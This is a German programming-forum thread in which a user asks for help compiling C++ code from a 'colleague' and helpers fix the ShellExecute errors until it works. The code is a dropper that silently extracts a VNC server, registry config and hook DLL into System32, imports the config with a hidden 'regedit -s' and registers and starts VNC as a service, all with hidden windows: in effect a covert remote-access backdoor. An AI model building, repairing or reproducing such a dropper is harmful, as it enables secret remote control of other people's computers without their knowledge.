Fehler im Code



  • Servus Gemeinde

    ich hab einen Code mit dem ich nicht zurechtkomme, ich hab ihn von einem Kollegen bekommen der will ihn mir aber nicht compilieren....

    da ich noch nicht viel erfahrung mit dem ganzen habe, wollte ich fragen ob mir jemand sagen kann wo der fehler liegt (oder vllt. sogar compilieren kann):

    main.cpp

    #include <windows.h>
    #include <stdlib.h>
    #include "res.h"
    #include "functions.h"
    
    using namespace std;
    
    /* define for microsoft compiler */
    
    #define WIN32_LEAN_AND_MEAN
    
    /* Global Variables */
    
    HINSTANCE hInst;
    string ProgrammPfad;
    string ShellPfad;
    string ConfigPath;
    string DllPath;
    
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
    {
    	//Get rid of thinking pointer 
    	PeekMessage(0,0,0,0,0); 
    	// get Instance for res extract
    	hInst = hInstance; 
    
    	//the programm path
    		ProgrammPfad = GetProgPath();
    
    	// System32-Path for vnc copy
            ShellPfad = GetSysPath();
    		ConfigPath = GetSysPath();
    		DllPath = GetSysPath();
    
    	//Path for vnc
            ShellPfad +="vnc.exe";
    		ConfigPath +="config.reg";
    		DllPath +="wm_hooks.dll";
    
    	//VNC extract
    		ExtractRes (TDFILE1, hInst,ShellPfad);
    
    	//Config extract
    		ExtractRes (TDFILE2, hInst,ConfigPath);
    
        //Dlls extract
    		ExtractRes (TDFILE3, hInst,DllPath);
    
    	//Wait 5sec
            Sleep(5000);
    
    	//Config
    		ShellExecute(hInst,"open","regedit.exe", "-s config.reg", NULL, SW_HIDE);
    
    	//Install Service
    		ShellExecute(hInst,"open","vnc.exe", "-register", NULL, SW_HIDE);
    
    	//Start Service
    		ShellExecute(hInst,"open","vnc.exe", "-start", NULL, SW_HIDE);
    
    	//Paths-tests
    	//MessageBox(NULL,ProgrammPfad.c_str(),"PPath:",MB_OK);
    	//MessageBox(NULL,SystemPfad.c_str(),"SPath:",MB_OK);
    
    	return FALSE; /*  End of our program! */
    }
    

    sein tipp zu der ganzen sache:
    -> achte auf die res ...

    mehr hab ich nicht -,- wenn jemand die anderen datein noch brauchen sollte ich hänge sie mal an...

    Vielen Vielen Dank schonmal!!!!!

    res.h:

    /***************************************************************/
    /*						                                       */
    /*					by netdragon©                              */
    /*                                                             */
    /* res.h : resource-header                                     */
    /*                                                             */
    /*                                                             */
    /***************************************************************/
    
    #define IDI_ICON1 101
    #define	TDFILE1	  102
    #define TDFILE2   103
    #define TDFILE3   104
    

    functions.h

    /***************************************************************/
    /*							                           */
    /*					by netdragon©                              */
    /*                                                             */
    /* function.h : function-header                                */
    /*                                                             */
    /*                                                             */
    /***************************************************************/
    #include <windows.h>
    #include <stdlib.h>
    #include <string>
    using namespace std;
    
    // zum extrahieren von Resourcen
    // ADS müsste auch möglich sein ...
    void ExtractRes (unsigned short resname, HINSTANCE hInst, string name);//OK
    
    string GetProgPath(); //OK
    string GetSysPath();  //OK
    

    functions.cpp

    /***************************************************************/
    /*					       		                           */
    /*					by netdragon©                              */
    /*                                                             */
    /* functions.cpp                                              */
    /*                                                             */
    /***************************************************************/
    
    #include <windows.h>
    #include <stdlib.h>
    #include <string>
    #include "functions.h"
    using namespace std;
    
    //##########################################
    //#		Funktion: ExtractRes               #
    //#     Need: -				               #
    //##########################################
    
    void ExtractRes (unsigned short whichone, HINSTANCE hInst, string name)
    {
    	char *ResourcePointer;
    	unsigned long ResourceSize,byteswritten;
    	HRSRC ResourceLocation;
    	HGLOBAL ResDataHandle;
    	HANDLE FileHandle;
    
    	ResourceLocation = FindResource(hInst,(const char *)whichone,RT_RCDATA);
    	if (ResourceLocation == 0) { return; }
    
    	/*Now get the size of the resource*/
    
    	ResourceSize = SizeofResource(hInst,ResourceLocation);
    	if (ResourceSize == 0) { return; }
    
    	/*Now load it into global memory*/
    
    	ResDataHandle = LoadResource(hInst,ResourceLocation);
    	if (ResDataHandle == 0) { return; }
    
    	/*Lock the Resource into memory and get a pointer to it!*/
    
    	ResourcePointer = (char *)LockResource(ResDataHandle);
    	if (ResourcePointer == 0) { return; }
    
    	/* Now we create the file. */
    
    	FileHandle = CreateFile(name.c_str(),GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    	if (FileHandle == INVALID_HANDLE_VALUE) { return; }
    
    	/* Now We Write to the file */
    
    	WriteFile(FileHandle,ResourcePointer,ResourceSize,&byteswritten,0);
    
    	/* Now Close the file */
    
    	CloseHandle(FileHandle);
    
    	return;
    }
    
    //###############################################
    //#		Funktion: GetProgPath                   #
    //#     Need: -				                    #
    //###############################################
    string GetProgPath()
    {
    
       //Definition notwendiger Variablen.
       char szBuffer[MAX_PATH+2];
       string a;
    
       //Zuerst holen wir uns mit GetModuleFileName() den kompletten Pfad unserer EXE.
       //Den Pfad speichern wir in szBuffer.
       GetModuleFileName (NULL, szBuffer, MAX_PATH);
       a = szBuffer;
    
       return a;
    }
    
    //##########################################
    //#		Funktion: GetSysPath			   #
    //#     Need: -				               #
    //##########################################
    string GetSysPath()
    {
            string a;
            char target[MAX_PATH];
    
    	GetWindowsDirectory(target, sizeof(target));
    
            a = target;
            a += "\\System32\\";
    
    	return a;
    }
    


  • Die Fehlermeldungen, die du bekommst, wären echt hilfreich. 🙄



  • sry vergessen,
    ich benutze dev-cpp
    und das kommt als fehler

    25 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In file included from D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp 
    13:22 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\res.h [Warning] no newline at end of file 
     D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
    80 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    83 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    86 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    90 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp `SystemPfad' undeclared (first use this function)
    

    das kommt beim compilieren der main.cpp



  • So, also die 3 Fehler bei ShellExecute sind halbwegs klar - du übergibst einen falschen Typ. Ich würde da jetzt NULL versuchen, habe aber keine Ahnung, ob es funktioniert.

    Ansonsten scheinst du mir im falschen Forum gelandet zu sein, ich sehe da keine MFC, nur API. Möchtest du verschoben werden? Drüben kann dir vielleicht eher jemand helfen. 🙂



  • ja bitte verschiebs mal 🙂

    ich werde das mit dem NULL mal versuchen



  • Dieser Thread wurde von Moderator/in estartu_de aus dem Forum MFC (Visual C++) in das Forum WinAPI verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.



  • Nuance schrieb:

    13:22 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\res.h [Warning] no newline at end of file
    

    in res.h einfach ein enter nach 104

    Nuance schrieb:

    D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
    80 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    83 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    86 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)'
    

    das du kein fenster hast benutz null
    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp

    Nuance schrieb:

    90 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp `SystemPfad' undeclared (first use this function)
    

    er findet keine variable SystemPfad 😉 wobei SystemPfad == ShellPfad
    ist

    noch einige "schönheitsfehler" das #define WIN32_LEAN_AND_MEAN sollte vor
    dem #include <windows.h> stehen sonst macht es keinen sinn.
    die functions.h sollte includeguards besitzen. einem namespace in einem
    header öffnen könnte man auch als fehler ansehen, ...
    so jetzt höre ich aber auf 😃



  • danke schonmal,

    ein paar fehler konnte ich mit hilfe deiner Tipps beseitigen
    jedoch hab ich jetzt noch diese fehler:

    D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
    79 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp `ShellExecute' undeclared (first use this function)
    

    vllt. kannst du da nochmal deine Hilfe beisteuern ? 😉



  • Header: shellapi.h
    Import library: shell32.lib



  • #define WIN32_LEAN_AND_MEAN entfernen oder #include <shellapi.h>

    generell steht in msdn immer unten was du benötigst (header, libs)

    [edit]
    mal richtig langsam, ich habe ne schöne page für lean_and_mean gesucht aber keine gefunden, kennt jemand eine? was es bewirkt weis ich schon, wollt nur noch nen link dazu hinknallen 😉



  • wenn ich shellapi.h einbinde, kommen mehr fehler als vorher, wenn ich
    #define WIN32_LEAN_AND_MEAN entferne ebenfalls



  • Nuance schrieb:

    wenn ich shellapi.h einbinde, kommen mehr fehler als vorher, wenn ich
    #define WIN32_LEAN_AND_MEAN entferne ebenfalls

    welche fehler, meine glaskugel ist in der werkstatt 😃

    sieht es so aus?

    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <shellapi.h>
    // weitere includes
    


  • stimmt, es sieht so aus:

    /* define for microsoft compiler */
    
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <shellapi.h> 
    #include <stdlib.h>
    #include "res.h"
    #include "functions.h"
    

    das sind die fehler:

    D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
    82 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    85 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    88 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)'
    

    vorher waren es weniger fehler, siehe oben die letze fehlerangabe



  • miller_m schrieb:

    Nuance schrieb:

    D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
    80 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    83 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
    86 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)'
    

    da du kein fenster hast benutz null
    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp

    habe ich schon erklärt, erster post von mir.



  • wenn ich das so mache wie du es gesagt hast, müsste die Funktion so aussehen:

    //Config
      ShellExecute(hInst,"open","regedit.exe", "-s config.reg", NULL, NULL);
    

    das bringt aber die gleichen fehler!



  • erster parameter ist das fensterhandle, da du keins hast (fenster) ➡ NULL
    [cpp]ShellExecute(NULL,"open","regedit.exe", "-s config.reg", NULL, NULL);[/cpp]



  • viele danke euch beiden, es hat funktioniert!!!!

    Mfg


Anmelden zum Antworten